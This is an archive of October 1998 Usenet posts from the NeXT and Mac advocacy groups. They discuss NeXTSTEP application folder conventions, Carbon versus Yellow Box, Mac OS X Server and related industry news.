>Eric Dew wrote:
>
>> I always wondered, why is LocalApps called LocalApps, instead of GlobalApps.
>> To me, the apps in LocalApps are shared by all those on the network (or
>> have account on the machine), whereas apps in one's home directory are
>> private.
>>
>
>I believe it is in the trend of Unix systems where "/usr/local" is
>applications installed on the machine for general use, but not provided
>by the OS vendor (ie. local to this machine, not local to a user). In a
>network environment, Local also sort of implies "local to our network".
>
>GlobalApps would be sort of an implication about serving the apps to
>people who aren't local.. like.. to the Internet at large. I don't know
>of many sites that like to see random users from around the net running
>apps locally on their machine. :-}
>
>--
>John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
I think we have a moderately clever way of dealing with this on our
nextstep-running black and white hardware. On a server machine (just
a fast PC running 3.3 with big disks and fast ethernet, we have:
/C1/mApps (motorola-only apps and links to FAT apps in zApps)
/C1/iApps (intel-only apps and links to FAT apps in zApps)
/C2/zApps (all the FAT apps)
then all the other machines mount either m- or iApps as /NetApps.
/LocalApps is really for multi-user apps specific to that machine
(i.e., scanner software on the one computer with a scanner;
frame-grabber software for the machines with a Screen Machine, etc.).
~/Apps is for truly single-user apps (e.g. my boss has some
organizational apps with only a single license for him), and apps one
of us is testing out before making it generally available.
I do:
dwrite Workspace ApplicationPaths ~/Apps:/LocalApps:/NextApps:/NextDeveloper/Apps:/NextAdmin:/NextDeveloper/Demos:/NetApps
dwrite GLOBAL DefaultApplicationPath ~/Apps:/NetApps:/LocalApps
for each usr when they're created so /NetApps gets searched at login.
/NetLibrary contains directories usually in /LocalLibrary, which on each
machine are then linked to the real directories in /NetLibrary.
We also have /usr/intel/local and /usr/motorola/local which are
mounted as /usr/local on the black and white machines.
This has worked well for us for several years to reduce multiple
copies of programs and keep things organized. Much of this was driven
by lack of drive space (600-1000 MB on each machine, a few GB on the
server); with each Mac we get having at least 4G, it'll be easy to be
lazy and have multiple copies of apps (until space gets tight again).
If I could telnet to the iMac in the lab, I'd get some examples of why
this would be hard under Mac OS 8.1. A lot of packages create a
folder under 'application' which then contain several programs/other
folders. I don't know which things need to be in the same directory or
what would break if I tried to make an 'applications' folder so that
every entry was a click-to-run program as in /NetApps. The app
wrapper approach of Nextstep is so much cleaner.
(I still have one of those square badges from Sun saying "The network
IS the computer").
I've gotten lots of helpful suggestions from both Mac and Win{95,NT}
folks with suggestions to make using those OSs more friendly and
useful. Thanks to all of you. In spite of all the arguing that goes
on here, when it comes down to someone needing help or advice, the
people reading these advocacy groups are great. I'm still optimistic
about Mac OS X being the solution for us.
I really love the Turbo color slab I have at home, but the iMac has
made it feel a little slow in comparison though. Fast Microsoft-
running PCs only make me cuss faster and more often and be happy to
move to even a slow Cube.
rick
--
Rick Gray, Ph.D., Div. Neuroscience, Baylor Col. Med., Houston, Tx 77030
rick@mft.neusc.bcm.tmc.edu | http://mft.neusc.bcm.tmc.edu/cnl
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-5u2rtNtXh7MV@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vet93$k3v$1@supernews.com> <1dgit1p.fdzazl15xkmayN@h209-21-28-220.ncal.verio.net>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 10 Oct 1998 13:33:43 GMT
Organization: IBM.NET
On Thu, 8 Oct 1998 03:10:11, mpaque@wco.com (Mike Paquette) thought
aloud:
> Donald R. McGregor <mcgredo@otter.mbay.net> wrote:
>
> > Apple is (apparently) trying to cross the chasm by taking
> > two steps: first, establish a capable OS substrate in the market
> > via carbonated applications running on top of some sort of Unix-y
> > kernel. Once that's established and has a non-trivial installed
> > base, you can start selling YB into that market. Carbonated
> > apps sell the OS substrate; the existence of the OS substrate
> > enables YB markets.
>
> Thank goodness somebody gets it.
Couldn't one also replace "Carbonated apps" with "Linux apps" (running
on Linux OS)?
[schnip]
> Carbon makes it possible for existing programs familiar to the Macintosh
> community to be available when Mac OS X ships, which take advantage of
> some of the capabilities of the new operating system.
Well, even Blue Box was going to give the great benefit that a
crashing BB app wouldn't crash the underlying OS (Rhapsody). Of course
Carbon goes far beyond that.
> Yellow, on the other hand, makes it possible for small development teams
> to quickly put together new, sophisticated, fully functional
> applications.
>
> Once Mac OS X is in wide use, Yellow Box may very well make it possible
> for small aggressive developers to produce entirely new classes of
> applications, incidentally eating large slow moving developer's lunches.
> Just a thought...
I believe the motive for this current "slowly, s-l-o-o-o-w-l-y"
approach to bringing YB closer to mainstream is well understood in
these circles already. There are, however, differing opinions on
whether intentionally limiting the hardware platforms capable of
running Mac OS X (i.e. no pre-G3 or future Intel support) takes away
too much incentive from potential YB development. Carbonizing
addresses the issue of porting existing Mac apps to new levels of
stability very well but what it doesn't address is inviting new
development. YB could address the latter but it seems that its
"lebensraum" (potential hardware base) has been shrunk by Apple a bit
too drastically. How long into the future can Carbon be milked and
will "good-enough" Carbon prevent YB from forever gaining wide
popularity or cross-platform acceptance? Time-to-market is a
significant factor here and Jobs has long experience with pushing
OpenStep (mom-of-YB) into the enterprise and server niches (only)...
it didn't work too well before, did it?
One move to help keep YB viable would IMHO be adopting Linux as a
strategic YB platform. Just as MS made DOS more palatable to the early
PC masses, Apple could cooperate with the Linux community and make
that OS palatable to the masses now while also getting into the
YB/Linux preload market (YellowHat distribution ;-). Like Oracle, who
just announced plans to sell and support their own app/Linux package,
Apple's YB/Linux would allow businesses to experiment with Apple's WO
and EOF solutions on their existing hardware without Apple needing to
support myriad of PC configurations under Rhap/Intel; and next upgrade
could well be from PC to PowerMac G4. Besides, Linux users are
craving for a good multimedia framework while Apple really needs
QT(ML) to become #1.
iMacs will remain unique selling point only for so long, and Carbon
won't attract too much new Mac OS software development. Instead of
patting Apple on the back for Carbon's potential to keep further
developer defections low I'm getting a little impatient not seeing
anything to build the future on. Time, like marketshare, translates to
mo'ney.
Brgds,
--
taiQ
[this space is intentionally blank]
From: hughesojh@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: ARGH]:
Date: Sat, 10 Oct 1998 16:13:00 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vo12b$g0t$1@nnrp1.dejanews.com>
References: <6v8jb6$20e$1@nnrp1.dejanews.com> <19981004182241.09305.00010745@ng65.aol.com>
A warship carrying the Aegis system(yes folks, the same kind of system that
mistakes airliners for fighter jets and shoots them down) and god knows what
else, where the crew isn't in control of the computer systems.
Anyone see a potential problem there...?
In article <19981004182241.09305.00010745@ng65.aol.com>,
willadams@aol.com (WillAdams) wrote:
>
> >> Uh, let's not exaggerate here. NT disabled the ship, but software failure
> >> can't punch a hole in the hull. The Yorktown was never in any danger of
> >> sinking, it just wasn't very useful.
>
> Maybe, maybe not--imagine if the Yorktown'd been a submarine?
>
> William
>
> William Adams
> http://members.aol.com/willadams
> Sphinx of black quartz, judge my vow.
>
>
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Post your prediction!
Date: Sat, 10 Oct 1998 09:41:44 -0700
Organization: University of California, Los Angeles
Message-ID: <361F8E3E.846E629B@yahoo.com>
References: <macghod-2309981539130001@sdn-ar-002casbarp185.dialsprint.net> <6ud9va$esu$1@readme.online.no> <3618e850.6982506@news.chicagonet.net> <6vntil$mvp$1@nnrp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
John Jensen wrote:
> I've decided to post a fearless prediction:
>
> I predict that Apple will respond to the rising support
> for Linux by halting support for MkLinux.
>
> I figure I'll be right, or gloriously wrong, but it's a morning for taking
> chances :-).
Mac OS X Server is now rumored to be released next month. In anyone's
opinion, will the release of MOSXS obviate the need to keep MkLinux around?
Do they not share much in common? Is there anything MkLinux can do that
MOSXS certainly will *not* be able to do? One might also factor in the
presence of LinuxPPC....
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell
"That's not what a Mac does. I want Mac on the PC.
I want Mac on the PC." -- Bill Gates
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 11 Oct 1998 00:28:30 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <6vou3e$gmb$1@supernews.com>
References: <36099217.345010578@news.newsguy.com> <3619B2E5.19831926@nstar.net> <slrn71l49m <FIiROLCWddLd-pn2-5u2rtNtXh7MV@localhost>
In article <FIiROLCWddLd-pn2-5u2rtNtXh7MV@localhost>,
taiQ <pit@iohk.SPAM-NOT.com> wrote:
>One move to help keep YB viable would IMHO be adopting Linux as a
>strategic YB platform.
I'd like to see YB on Linux, too. But it wouldn't be a panacea.
There would be a lot of work to get YB running on top of Linux.
And all you'd really be getting is the Apple L&F running on top
of an operating system that more or less does everything as well
as Mach. (I'm asuming the apple port would implement the Rhapsody
imaging model, workspace, and L&F, just running over Linux instead
of Mach. Though it would also be possible to do a Sun-style port
that used X-Windows, I don't see Apple going there.)
The version of Linux used would have to be under
Apple control; you couldn't just drop in a new version and expect
things to work. That means you have to keep some scurrying forest
creatures around to manage the OS code in any event.
While you would generally get better source-code-off-the-archives
compile and run compatability with linux, it would probably be easier to
just rely on the community to port things like Apache. Particularly
if Apple has 4.4BSD compatability on OSX--things would likely just
work most of the time anyway.
--
Don McGregor | While the above is legally accurate, I did not
mcgredo@mbay.net | volunteer information.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: The OS/2 Plan vs the Win95 plan.
Date: 10 Oct 1998 23:07:53 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6vopc9$1p8@news1.panix.com>
References: <36099217.345010578@news.newsguy.com> <361A9F92.1D9F3A3@ericsson.com> <rbarrisF0FK54.KuB@netcom.com> <361ABD55.870F151B@nstar.net> <rbarrisF0G1Fr.JJI@netcom.com>
On Wed, 7 Oct 1998 06:16:39 GMT, Robert Barris <rbarris@netcom.com> wrote:
>>> Photoshop certainly wasn't "rewritten" in a couple of weekends, and yet
>>> that's how long it took to get first code running on the earliest DEMO
>>> version of the Carbon API, May WWDC 98.
>>They are "rewritten", no matter how much effort that entails. Here the
>>difference is between existing, already-shipped software (which is
>>plentiful) and non-existing, never-shipped software. MacOS should be
>>used to run MacOS software, and there should be an aggressive upgrade
>>strategy for MacOS that includes Carbon. In fact, it should already
>>include Carbon.
>
>Hmmm, some apps are in fact Carbon-ready with no changes at all.
>
>If I can take such an app and recompile it...
>... did I re-write it?
This to me is the key difference between the Amelio plan and the Jobs
plan. Gil's plan would have been a lot like what IBM did with OS/2.
Give the users a better OS, with good backwards support for old Apps
and encourage the creation of new Apps for the new OS. And he got
about the same support from MacOS ISVs that IBM got from Win3.1 ISVs
(little if any)
The Steve plan (with carbon) is like the transition between win3.1 and
win32. ISVs put in a little work, and they get modern OS functionality.
>Apple stuck to Amelio's plan for a time, unfortunately it never gathered
>any support from developers such as the ones I mentioned, the ones with
>big code bases. (MS, Adobe, Macromedia).
Smells like The OS/2 plan.
>>> Macromedia, Microsoft and Adobe don't seem to believe that it is silly.
>>> Are they wrong?
>>How would you know?
>I'm just going by what I heard from company reps in person at May WWDC.
I've heard the same.
BTW, someone I know has claimed to seen Claris Homepage running as a Carbon
App, and acting as a part of a WebObject dev tool set.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mac OS X Server
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <361e5520.0@news.depaul.edu> <B2442B1F-68423@206.165.43.121>
Message-ID: <361ffdf8.0@news.depaul.edu>
Date: 11 Oct 98 00:38:16 GMT
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
> >No, you get the Beta of OS X Server for free. They haven't said if you
> >get the shipping version with your developer membership. You may end
> >up paying $500 for DR2 and then full price for the shipping version.
> Now that WOULD be a kick in the pants, wouldn't it? Traditionally, ALL
> MacOS versions come with the developer package, even language-specific
> versions. If you have some reason why you think that this won't be the case
> any more, feel free to let us know...
Different product line, different management, etc.
> [having just paid $500 for the select package myself so that we can start
> work on YB and Carbon applications, I'm hoping that you're wrong]
I let my membership expire in May and won't resubscribe until they
announce their policy.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <21207907473623@digifix.com>
Date: 11 Oct 1998 03:47:16 GMT
Organization: Digital Fix Development
Message-ID: <17552908078421@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
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===========================================
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=================================
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The main site for North American submissions formerly
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ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
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ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
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_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
Date: Sun, 11 Oct 1998 08:50:25 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Post your prediction!
Message-ID: <joe.ragosta-1110980850250001@elk66.dol.net>
References: <macghod-2309981539130001@sdn-ar-002casbarp185.dialsprint.net> <6ud9va$esu$1@readme.online.no> <3618e850.6982506@news.chicagonet.net> <6vntil$mvp$1@nnrp02.primenet.com> <361F8E3E.846E629B@yahoo.com> <joe.ragosta-1010981735370001@elk68.dol.net> <361FE21E.C14A5DFC@yahoo.com>
In article <361FE21E.C14A5DFC@yahoo.com>, Robert Fovell
<rfovell@yahoo.com> wrote:
>
> If MOSXS can - by and large - bring Mac ease of use, integration and
elegance to
> Unix raw power -- that is worth one *heck* of a lot.
It does.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Avie! Avie! Avie!
Date: Fri, 9 Oct 1998 11:11:32 -0400
Organization: Anderson Financial Systems Inc.
Message-ID: <6vl939$69u@shelob.afs.com>
The DOJ has decided to call Avie Tevanian as one of its ten witnesses in the
Microsoft case:
http://www.news.com/News/Item/0,4,27336,00.html?st.ne.ni.lh
I wonder if his testimony will be limited to Apple matters? I thought he
joined Apple after some of the events the DOJ is investigating. Maybe there
was some funny business with Microsoft going back to NeXT days?
James Gosling from Sun has also been substituted into the witness list. That
strengthens the suspicion that Java will be a focus at the trial, too.
Greg
From: jmcn@ont.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Post your prediction!
Date: Sun, 11 Oct 1998 13:18:14 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <MPG.108ab262b8b187f7989745@news.ont.com>
References: <macghod-2309981539130001@sdn-ar-002casbarp185.dialsprint.net> <6ud9va$esu$1@readme.online.no> <3618e850.6982506@news.chicagonet.net> <6vntil$mvp$1@nnrp02.primenet.com> <361F8E3E.846E629B@yahoo.com> <joe.ragosta-1010981735370001@elk68.dol.net> <361FE21E.C14A5DFC@yahoo.com> <joe.ragosta-1110980850250001@elk66.dol.net>
In article <joe.ragosta-1110980850250001@elk66.dol.net>,
joe.ragosta@dol.net says...
> In article <361FE21E.C14A5DFC@yahoo.com>, Robert Fovell
> <rfovell@yahoo.com> wrote:
>
> >
> > If MOSXS can - by and large - bring Mac ease of use, integration and
> elegance to
> > Unix raw power -- that is worth one *heck* of a lot.
>
> It does.
It does? Right now? Users are using it and paying for it? Right now?
Hahahah... You mean "it might if it ever gets released, but based on
Apple's track record for Copland/Rhapsody, Apple's 'next gen OS' will
always be 18 months away" right? That's what you mean, right?
From: ch3@-RE-MOVE-earthlink.net (CaHand)
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Sun, 11 Oct 1998 14:34:04 -0700
Organization: EarthLink Network, Inc.
Message-ID: <ch3-1110981434040001@ip183.seattle11.wa.pub-ip.psi.net>
References: <6vbi7r$12su2@odie.mcleod.net> <B23FA979-3CAC6@206.165.43.169> <slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ve82u$2iq$1@msunews.cl.msu.edu> <361ab93b.0@news.depaul.edu> <6vehc6$lqq$1@nnrp03.primenet.com> <361ad8a0.0@news.depaul.edu> <6vfskd$4dv$1@nnrp02.primenet.com> <361B827D.94E253C6@tisny.com> <361BE837.F4EADDB7@egg.chips.and.spam.com> <6vh4im$bvh$3@news.idiom.com> <361C8300.31A5ECDD@tisny.com>
> > -> You only have to look at IBM's Java commitment to see this. IBM
> > -> is investing in Java on a massive scale.
> >
> > That's why Im convinced that Java is doomed. The last project that IBM had
> > thousands of people working on was Office Vision (remember?) and that burned
> > up 900 million dollars before they pulled the plug.
> >
>
> A major difference is that this is not an IBM-only initiative. They are
> merely one player in a larger market, and signifcantly IBM is mostly
> playing by the rules. Most failed IBM projects were ones where IBM
> was the primary (or only) "champion of the cause".
>
Funny how IBM continues to silently develop VisualAge SmallTalk,
which is actually quite comparable to OpenStep. If they had such
rock solid belief in "Java is the answer" philosophy, I'd think
they'd drop VASmallTalk and put that money into the Java effort.
Best Regards.
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Post your prediction!
Date: Sun, 11 Oct 1998 16:54:54 -0700
Organization: University of California, Los Angeles
Message-ID: <36214524.3639D4BC@yahoo.com>
References: <macghod-2309981539130001@sdn-ar-002casbarp185.dialsprint.net> <6ud9va$esu$1@readme.online.no> <3618e850.6982506@news.chicagonet.net> <6vntil$mvp$1@nnrp02.primenet.com> <361F8E3E.846E629B@yahoo.com> <joe.ragosta-1010981735370001@elk68.dol.net> <361FE21E.C14A5DFC@yahoo.com> <joe.ragosta-1110980850250001@elk66.dol.net> <01bdf56b$30248f10$06387880@chewy>
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Todd Heberlein (todd at NetSQ dot com) wrote (*in part*):
> It does and it doesn't. MacOS X native apps [1] will inherit the benefits
> of an industrial strength UNIX kernel. MacOS X apps running in the BlueBox
> will inherit a modest improvement - namely, crashing an app in the BlueBox
> may bring down other apps in the BlueBox, but it will not take down the
> entire OS.
>
> For those of us who want to run UNIX apps as well as MacOS apps (either in
> BlueBox, Carbonated, or YB), we really win :-) Obviously we hope to have
> most/all of the MacOS apps we use to be full native apps (Carbonated or
> YB).
I think we really _do_ win, indeed :-) This can be really useful to at least
one person (yours truly), even if the future falls a wee bit short of what you
outlined, Todd...
Here's my situation, just for sake of example:
* I do my principal code editing on a Mac, and move the code files to Unix
boxes for compilation, because the Mac programs have many advantages.
* I run the large number-crunching [Fortran; don't smirk ;-)] codes on a big
Sun or DEC Unix box, or a Cray. Output is produced.
* I view plots and other output remotely on a Mac using Telnet and an
X-windows program (I use eXodus).
* I move data and image files to a Mac and make graphs/charts, images for
journals, animated GIFs, PDF files, etc. (I use Adobe Illustrator,
DeltaGraph, Systat, word processors, TeX, Acrobat, etc.)
* I further analyze and animate these data using Unix-based tools like Vis5D
(http://www.ssec.wisc.edu/~billh/vis5d.html), which I've found runs best on a
P2 PC running Linux than anything else I have access to [especially since
performance of this app over a network is unacceptable].
* I test and debug code either on the aforementioned DEC/Suns or on the PC
Linux box. It is often easier on the latter.
The principal problem with this is that it involves two -- and usually *three*
-- different machines. I'm moving files around all the damned time. If I
could code, debug, run, analyze, report-write, etc., on a single box, this
would be very nice indeed. [For one thing, I could afford One Great Big Box,
instead of several smaller, less expensive machines...] The Unix/Linux apps
I've seen just don't replace the ones I already use on my Mac. If they run in
the Blue Box of MacOSXS, tho, alongside the Unix-based programs, then I win.
Doesn't matter to me _too_ much if the Blue Box goes down as long as the stuff
cranking away in the Unix layer is unaffected. All I demand is that the Mac
OS apps run on the Blue Box as well as they do *now*.
I could replace two or even three machines with one box. And a box with the
Mac OS look & feel, too. That's more than just gravy :-) If my Mac OS apps
get Carbonated -- so much the sweeter.... C'mon, Apple, light the damned
candle...
[snipped some after this]
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell [science page]
http://home.earthlink.net/~rfovell [PC parody page]
"That's not what a Mac does. I want Mac on the PC.
I want Mac on the PC." -- Bill Gates
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Fri, 09 Oct 1998 14:59:15 -0500
Organization: Ericsson North America Inc.
Message-ID: <361E6B13.E7C8363E@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vg59f$n46$1@nnrp1.dejanews.com> <361BBA99.D34D864D@ericsson.com> <6vjjsu$l4d$1@news.asu.edu>
Mime-Version: 1.0
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not@my.address.net wrote:
> I agree. He's informative, thoughtful, and generous with his time. Whenever I
> do a DejaNews search on a technical topic, I pull up detailed posts that stretch
> over years explaining something of interest about NEXTSTEP/OPENSTEP.
Well, I'm inclined to agree with all of the above.
> He helps make comp.sys.next.* a terrific resource.
>
> Didn't take me long to figure that out either.
>
> --
> invert: umich.edu jdevlin
> insert: shift "2"
Ah, the "fancy European gun" poster. Why would you be defending Chuck
Swiger to me? It has more impact if you're someone credible, you know.
MJP
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The future's so bright I (hope) we have to wear shades
Date: Fri, 09 Oct 1998 12:32:21 -0700
Organization: Cygnus Solutions
Message-ID: <361E64C5.C5202B6A@cygnus.com>
References: <6vg10f$t3g$1@pascal.a2000.nl> <B241542D-BDD08@206.165.43.27> <6vha8l$71k@gazette.bcm.tmc.edu> <distler-0810980051360001@192.168.0.1> <361D0EB8.4104@earthlink.net>
Mime-Version: 1.0
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Steve Kellener wrote:
>
> > Under NextStep, nobody FORCES you to install apps under /LocalApps.
> > That is CONVENTION (and a good one, IMHO).
>
> Yes. I have never understood why Mac users' complaints about this.
> LocalApps is the conventions a s you said. It is still possible to
> install apps elswhere if so desired. Besides, look at any Macintosh HD
> and you'll usually find....guess what?.....an applications directory,
> and a utilities directory. Most people just tend to organize stuff that
> way. LoaclApps is not such a far leap to comprehend.
>
Well.. yes and a little bit no.
LocalApps is a convention, but it is also an enforced convention.
/LocalApps is in the default path for where the workspace looks for GUI
apps, so that it can register their services, file type handling, etc.
If I recall correctly the default is:
/NextApps
/NextAdmin
/NextDeveloper/{Apps, Demos}
/LocalApps
~/Apps
This preference is NOT modifiable with the default modules for the
Preferences.app, you:
a) have to know about it (it's not plainly documented in the
introductory user docs)
b) have to know how to use dread and dwrite to change it
So, to a novice user, or even a casual user (particularly a GUI only
user), it may as well be hard coded. And those are the user groups that
Mac Advocates tend to worry about.
I don't know if Rhapsody/MacOSX-Server duplicates this behavior though.
Since the Path is actually specifying a root (as opposed to being like a
shell path that specifies a specific directory), and all sub-directories
are included, you could easily fix this by putting "/" in your path.
HOWEVER, before you run out and try that, keep in mind that this means
when you log in, Workspace will check EVERY directory on your system
(that you have access to) for Apps. That means it will take a VERY long
time on large systems.
Until recently when I re-installed my sparcstation at work with Solaris,
I had my environment set up where my ~/Apps directory contained symlinks
out to a bunch of other locations where Apps lived. That way, the
recursive descent caught directories that aren't in the default path at
all, but I didn't have to muck with the default path either. What this
could allow you to do is set up App bins, like
"/ournetwork/SecretaryApps", "/ournetwork/EngineerApps", etc.. and then
each user's ~/Apps directory contains a symlink to those bins that they
want, while at the same time avoiding those ones they don't.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball
pistols
the backward in \in shoulder rigs. Who cares if you win the game as
long
backward compatible\as you can John Woo as you dive over obstacles?" -
anon
From: "Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: Fri, 09 Oct 1998 15:58:13 +0200
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <6vl4pg$rss$1@pascal.a2000.nl>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170>
<6vg0gd$s3d$1@pascal.a2000.nl> <6vgf9d$fv4$1@nnrp1.dejanews.com>
<6vgioe$8j5$1@pascal.a2000.nl> <6vils3$urk$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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In article <6vils3$urk$1@nnrp1.dejanews.com> , "Charles Swiger"
<chuck@codefab.com> wrote:
Ok, let's not get into what is a wrapper and what is not a wrapper. You make
some good points.
>Someone with a classic MacOS app doesn't have to "port" to Carbon. They
>simply have to clean up the crufty non-portable stuff and possibly use some
>updated Carbon replacement calls in place of older Toolbox routines that are
>now being deprecated.
So you are saying by using Carbon, software can be developed without testing
it?
In that case, Carbon is truly revolutionary.
>As I said to someone else in email, the type and amount of work involved is
>more comparible to moving from an K&R-based C program to ANSI.
Possibly, I am not that well informed. I think you probably are wrong,
because Carbon is a runtime environment and C is a language. Nevertheless,
question yourselves this: how would you go about moving a K&R C program to
ANSI, when there are no ANSI compilers? This is how I perceive the Carbon
situation.
Regards,
Pascal.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Avie! Avie! Avie!
